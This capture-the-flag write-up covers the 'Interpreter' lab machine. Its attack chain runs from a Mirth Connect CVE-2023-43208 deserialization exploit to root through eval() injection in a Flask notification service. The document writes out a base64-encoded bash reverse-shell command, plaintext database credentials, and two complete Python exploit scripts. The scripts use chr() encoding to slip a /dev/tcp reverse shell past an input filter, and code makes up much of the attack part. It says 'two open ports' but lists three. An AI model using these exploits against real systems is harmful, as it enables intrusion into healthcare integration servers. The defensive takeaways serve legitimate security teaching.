Interpreter - Writeup
Reconnaissance
Port Scan
Nmap reveals two open ports:
- 80/tcp - Mirth Connect 4.4.0 (HTTP)
- 443/tcp - Mirth Connect 4.4.0 (HTTPS)
- 6661/tcp - TCP (MLLP HL7 listener)
Service Identification
Port 443 hosts Mirth Connect 4.4.0, an open-source healthcare integration engine. This version is vulnerable to CVE-2023-43208 - a pre-auth Remote Code Execution via XStream deserialization on the /api/users endpoint.
Port 6661 is a MLLP (Minimal Lower Layer Protocol) listener configured to receive HL7v2 messages, part of a Mirth channel called "INTERPRETER - HL7 TO XML TO NOTIFY".
Initial Access - CVE-2023-43208 (Mirth Connect RCE)
Mirth Connect 4.4.0 is vulnerable to pre-authentication RCE through an XStream deserialization flaw. The exploit targets the /api/users endpoint with a crafted XML payload containing a Commons Collections gadget chain using EventUtils$EventBindingInvocationHandler.
A reverse shell is obtained as the mirth user:
Horizon3.ai Research and exploit
- Listener
nc -lvnp 4444
python3 exploit.py -u https://10.129.244.184:443 -c 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzQ0NDQgMD4mMQ==}|{base64,-d}|bash'
- Exploit sends XStream deserialization payload to /api/users
- Shell received as user 'mirth'
mirth@interpreter:~$ id
uid=1001(mirth) gid=1001(mirth) groups=1001(mirth)
Enumeration as mirth
Mirth Connect Configuration
The configuration file at /usr/local/mirthconnect/conf/mirth.properties reveals database credentials and keystore passwords:
| Parameter | Value |
|---|---|
| Database | MariaDB mc_bdd_prod |
| DB Credentials | mirthdb:MirthPass123! |
| Keystore storepass | 5GbU5HGTOOgE |
| Keystore keypass | tAuJfQeXdnPw |
Database Enumeration
Connecting to MariaDB and dumping the PERSON and PERSON_PASSWORD tables reveals a second user account:
mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod
SELECT USERNAME FROM PERSON;
-- sedric
SELECT PASSWORD FROM PERSON_PASSWORD WHERE PERSON_ID=2;
-- u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==
The password hash uses PBKDF2-HMAC-SHA256 with 600,000 iterations (8-byte salt and 32-byte hash, base64-encoded), making it highly resistant to cracking.
Channel Analysis
Looking in CHANNEL table reveals useful information about Mirth channel "INTERPRETER - HL7 TO XML TO NOTIFY"
Name: INTERPRETER - HL7 TO XML TO NOTIFY
Outbound template: PHBhdGllbnQ+CiAgPHRpbWVzdGFtcD48L3RpbWVzdGFtcD4KICA8c2VuZGVyX2FwcD48L3NlbmRlcl9hcHA+CiAgPGlkPjwvaWQ+CiAgPGZpcnN0bmFtZT48L2ZpcnN0bmFtZT4KICA8bGFzdG5hbWU+PC9sYXN0bmFtZT4KICA8YmlydGhfZGF0ZT48L2JpcnRoX2RhdGU+CiAgPGdlbmRlcj48L2dlbmRlcj4KPC9wYXRpZW50Pg==
B64 Decoded outbound template:
<patient>
<timestamp></timestamp>
<sender_app></sender_app>
<id></id>
<firstname></firstname>
<lastname></lastname>
<birth_date></birth_date>
<gender></gender>
</patient>
Channel performs the following pipeline:
- Receives HL7v2 ADT^A01 messages on port 6661 (MLLP)
- Transforms HL7 to XML using a mapper (extracting fields like firstname, lastname, birth_date, gender, etc.)
- POSTs the XML to
http://127.0.0.1:54321/addPatient
Flask Application Discovery
A Flask application (/usr/local/bin/notif.py) runs as root on port 54321:
ps aux | grep root
- root 3565 0.0 0.8 121800 32496 ? Ss 15:52 0:02 /usr/bin/python3 /usr/local/bin/notif.py
The file is owned by root:sedric with permissions -rwxr-----, making it unreadable by the mirth user.
Privilege Escalation - Root Shell
Fuzzing the Flask Endpoint
Sending XML directly to the /addPatient endpoint reveals that field values are reflected in the response:
Patient John Doe (M), 36 years old, received from WEBAPP at 20250101120000
Testing for injection, sending {7+7} in the firstname field returns 14 - confirming the application uses Python eval() on an f-string template.
Reading notif.py Source Code
Using the eval injection to read the source code:
import urllib.request, urllib.error
payloads = [
"__import__('os').popen('id').read()",
"__import__('os').popen('whoami').read()",
"__import__('os').popen('cat'+chr(32)+'/usr/local/bin/notif.py').read()",
]
for p in payloads:
xml = '<patient><timestamp>20250101120000</timestamp><sender_app>WEBAPP</sender_app><id>12345</id><firstname>{' + p + '}</firstname><lastname>Doe</lastname><birth_date>01/01/1990</birth_date><gender>M</gender></patient>'
try:
req = urllib.request.Request('http://127.0.0.1:54321/addPatient', data=xml.encode(), headers={'Content-Type': 'text/plain'})
resp = urllib.request.urlopen(req)
print(f'OK: {resp.read()}')
except urllib.error.HTTPError as e:
print(f'ERR: {e.code} - {e.read()[:500]}')
Input Validation Analysis
The vulnerable code in notif.py:
def template(first, last, sender, ts, dob, gender):
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
for s in [first, last, sender, ts, dob, gender]:
if not pattern.fullmatch(s):
return "[INVALID_INPUT]"
# ...
template = f"Patient {first} {last} ({gender}), ..."
try:
return eval(f"f'''{template}'''") # <-- eval on f-string!
except Exception as e:
return f"[EVAL_ERROR] {e}"
The regex validation is ^[a-zA-Z0-9._'"(){}=+/]+$
Key constraint: no comma, no space, no dash, no dollar sign.
The application builds an f-string with user-controlled values and passes it to eval(). Since { and } are allowed by the regex, arbitrary Python expressions inside {...} are evaluated.
Since notif.py runs as root, the eval injection provides root-level code execution. The challenge is constructing a reverse shell payload that passes the regex (no comma, no space).
Bypass Strategy
The approach uses two steps, encoding problematic characters via chr() concatenation to avoid commas and spaces:
Step 1 - Write reverse shell to file using exec() with chr() chain:
- The command to execute:
open('/tmp/r.sh','w').write('bash -i >& /dev/tcp/{ip}/{port} 0>&1'+chr(10))
- Encoded by:
chr_payload = '+'.join(f'chr({ord(c)})' for c in write_cmd)
Every character of the open().write() command is encoded as chr(N) joined by +, passed as a single argument to exec() - no commas needed.
Step 2 - Execute the shell script using popen() with chr() chain:
- bash /tmp/r.sh encoded as chr() concatenation
__import__('os').popen(" + chr_exec + ")
Full Exploit
The exploit can be executed either locally (POST to 127.0.0.1:54321) or remotely via MLLP on port 6661 by embedding the payload in the HL7 PID.5.2 (firstname) field:
Local exploit:
import urllib.request
import sys
TARGET = "http://127.0.0.1:54321/addPatient"
def send(payload):
xml = (
'<patient><timestamp>20250101120000</timestamp>'
'<sender_app>WEBAPP</sender_app><id>12345</id>'
'<firstname>{' + payload + '}</firstname>'
'<lastname>Doe</lastname>'
'<birth_date>01/01/1990</birth_date>'
'<gender>M</gender></patient>'
)
req = urllib.request.Request(TARGET, data=xml.encode(), headers={'Content-Type': 'text/plain'})
try:
resp = urllib.request.urlopen(req, timeout=5)
return resp.read().decode()
except:
return "TIMEOUT (expected)"
ip = sys.argv[1]
port = sys.argv[2]
#Step 1: Build the write command entirely from chr() - no escaping issues
write_cmd = f"open('/tmp/r.sh','w').write('bash -i >& /dev/tcp/{ip}/{port} 0>&1'+chr(10))"
chr_payload = '+'.join(f'chr({ord(c)})' for c in write_cmd)
payload1 = 'exec(' + chr_payload + ')'
print("[*] Writing reverse shell...")
print(send(payload1))
#Step 2: Execute
exec_cmd = "bash /tmp/r.sh"
chr_exec = '+'.join(f'chr({ord(c)})' for c in exec_cmd)
payload2 = "__import__('os').popen(" + chr_exec + ")"
print("[*] Executing...")
print(send(payload2))
Remote exploit:
#!/usr/bin/env python3
"""
Interpreter HTB - Remote root shell via HL7 MLLP (port 6661)
Sends crafted HL7 message through Mirth Connect -> notif.py eval() injection
Usage:
1. Start listener: nc -lvnp <LPORT>
2. Run: python3 rootshell_remote.py <TARGET_IP> <LHOST> <LPORT>
"""
import socket
import sys
import time
def mllp_send(host, port, hl7_msg):
"""Send HL7 message with MLLP framing"""
SB = b'\x0b' # Start Block
EB = b'\x1c' # End Block
CR = b'\x0d' # Carriage Return
frame = SB + hl7_msg.encode() + EB + CR
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect((host, port))
s.send(frame)
try:
resp = s.recv(4096)
s.close()
return resp
except:
s.close()
return b"TIMEOUT"
def build_hl7(firstname, lastname="Doe", dob="19900101", gender="M"):
"""Build HL7 ADT^A01 message"""
ts = "20250101120000"
# MSH segment
msh = f"MSH|^~\\&|WEBAPP|INTERPRETER|MIRTH|INTERPRETER|{ts}||ADT^A01||P|2.5"
# PID segment - PID.3.1=ID, PID.5.1=lastname, PID.5.2=firstname, PID.7.1=DOB, PID.8.1=gender
pid = f"PID|1||12345^^^INTERPRETER||{lastname}^{firstname}||{dob}|{gender}"
return msh + "\r" + pid
def main():
if len(sys.argv) != 4:
print(f"Usage: python3 {sys.argv[0]} <TARGET_IP> <LHOST> <LPORT>")
print(f"Start listener first: nc -lvnp <LPORT>")
sys.exit(1)
target = sys.argv[1]
lhost = sys.argv[2]
lport = sys.argv[3]
# Step 1: Write reverse shell to /tmp/r.sh
# Build: open('/tmp/r.sh','w').write('bash -i >& /dev/tcp/IP/PORT 0>&1'+chr(10))
# Entire command encoded as chr() concatenation to bypass regex
write_cmd = f"open('/tmp/r.sh','w').write('bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'+chr(10))"
chr_payload = '+'.join(f'chr({ord(c)})' for c in write_cmd)
payload1 = '{exec(' + chr_payload + ')}'
print(f"[*] Target: {target}:6661")
print(f"[*] Shell: {lhost}:{lport}")
print(f"[*] Step 1: Writing reverse shell to /tmp/r.sh...")
hl7 = build_hl7(firstname=payload1)
resp = mllp_send(target, 6661, hl7)
print(f" Response: {resp[:200]}")
time.sleep(1)
# Step 2: Execute reverse shell
exec_cmd = "bash /tmp/r.sh"
chr_exec = '+'.join(f'chr({ord(c)})' for c in exec_cmd)
payload2 = '{__import__(' + "'os').popen(" + chr_exec + ')}'
print(f"[*] Step 2: Executing reverse shell...")
hl7_2 = build_hl7(firstname=payload2)
resp2 = mllp_send(target, 6661, hl7_2)
print(f" Response: {resp2[:200]}")
print(f"[*] Check your listener on port {lport}!")
if __name__ == "__main__":
main()
Attack Chain Summary
Port 443 (Mirth Connect 4.4.0)
│
├─ CVE-2023-43208: XStream deserialization RCE
│ └─ Shell as 'mirth'
│
├─ mirth.properties → MariaDB creds (mirthdb:MirthPass123!)
│ └─ Database: sedric's PBKDF2 hash, channel config
│
├─ Channel: HL7 (6661) → XML → POST to 127.0.0.1:54321
│ └─ notif.py runs as root, uses eval() on f-string
│
└─ eval() injection via {payload} in firstname field
├─ chr() encoding bypasses regex (no comma/space)
└─ root shell via exec(chr()+chr()+...) → bash reverse shell
Key Takeaways
- Mirth Connect 4.4.0 should be patched - CVE-2023-43208 provides unauthenticated RCE
- Never use
eval()on user-controlled input - even with regex filtering, allowed characters like(){}_.'"are sufficient for arbitrary code execution - f-string evaluation via
eval(f"f'''{template}'''")is equivalent to unrestricted code execution when users control template content - Character restrictions can be bypassed -
chr()concatenation eliminates the need for blocked characters entirely - Services running as root amplify the impact of any vulnerability -
notif.pyshould run as an unprivileged user
On this page
- Reconnaissance
- Port Scan
- Service Identification
- Initial Access - CVE-2023-43208 (Mirth Connect RCE)
- Enumeration as mirth
- Mirth Connect Configuration
- Database Enumeration
- Channel Analysis
- Flask Application Discovery
- Privilege Escalation - Root Shell
- Fuzzing the Flask Endpoint
- Reading notif.py Source Code
- Input Validation Analysis
- Bypass Strategy
- Full Exploit
- Attack Chain Summary
- Key Takeaways
